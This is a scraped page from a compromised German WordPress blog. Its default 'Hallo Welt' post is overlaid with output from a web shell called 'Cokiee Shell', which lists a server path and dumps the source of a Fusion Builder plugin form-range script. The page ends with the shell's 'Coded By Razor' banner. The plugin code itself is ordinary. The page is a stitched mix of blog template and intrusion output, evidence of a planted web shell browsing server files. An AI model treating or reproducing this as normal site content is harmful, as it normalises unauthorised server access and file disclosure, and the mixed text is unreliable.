Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /var/www/web28/html/wp-content/plugins/fusion-builder/front-end/views/form/ |
Current File : //var/www/web28/html/wp-content/plugins/fusion-builder/front-end/views/form/view-range.js |
var FusionPageBuilder = FusionPageBuilder || {}; ( function() { jQuery( document ).ready( function() { // Fusion Form Range View. FusionPageBuilder.fusion_form_range = FusionPageBuilder.FormComponentView.extend( { /** * Modify template attributes. * * @since 3.1 * @param {Object} atts - The attributes object. * @return {Object} */ filterTemplateAtts: function( atts ) { var attributes = {}; // Create attribute objects; attributes.styles = this.buildStyles( atts.values ); attributes.html = this.generateFormFieldHtml( this.generateRangeField( atts.values ) ); return attributes; }, generateRangeField: function ( atts ) { var elementData, elementHtml, digits, containerClass = 'fusion-form-range-field-container', html = ''; elementData = this.elementData( atts ); elementData = this.generateTooltipHtml( atts, elementData ); digits = atts.max.length if ( 4 < digits || 1 === digits ) { digits = 1 === digits ? 3 : digits; elementData[ 'style' ] = ' style="width:' + digits + 'em;"'; } if ( 'right' === atts.orientation ) { containerClass += ' orientation-right'; } elementHtml = '<div class="' + containerClass + '">'; if ( 'right' !== atts.orientation ) { elementHtml += '<input type="text" disabled class="fusion-form-range-value" value="' + atts.value + '"' + elementData[ 'style' ] + '/>'; } elementHtml += '<input type="range" name="' + atts.name + '" min="' + atts.min + '" max="' + atts.max + '" step="' + atts.step + '" value="' + atts.value + '"' + elementData[ 'class' ] + elementData.required + elementData.placeholder + elementData.holds_private_data + '/>'; if ( 'right' === atts.orientation ) { elementHtml += '<input type="text" disabled class="fusion-form-range-value" value="' + atts.value + '"' + elementData[ 'style' ] + '/>'; } elementHtml += '</div>'; html = this.generateLabelHtml( html, elementHtml, elementData.label ); return html; } } ); } ); }( jQuery ) );
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare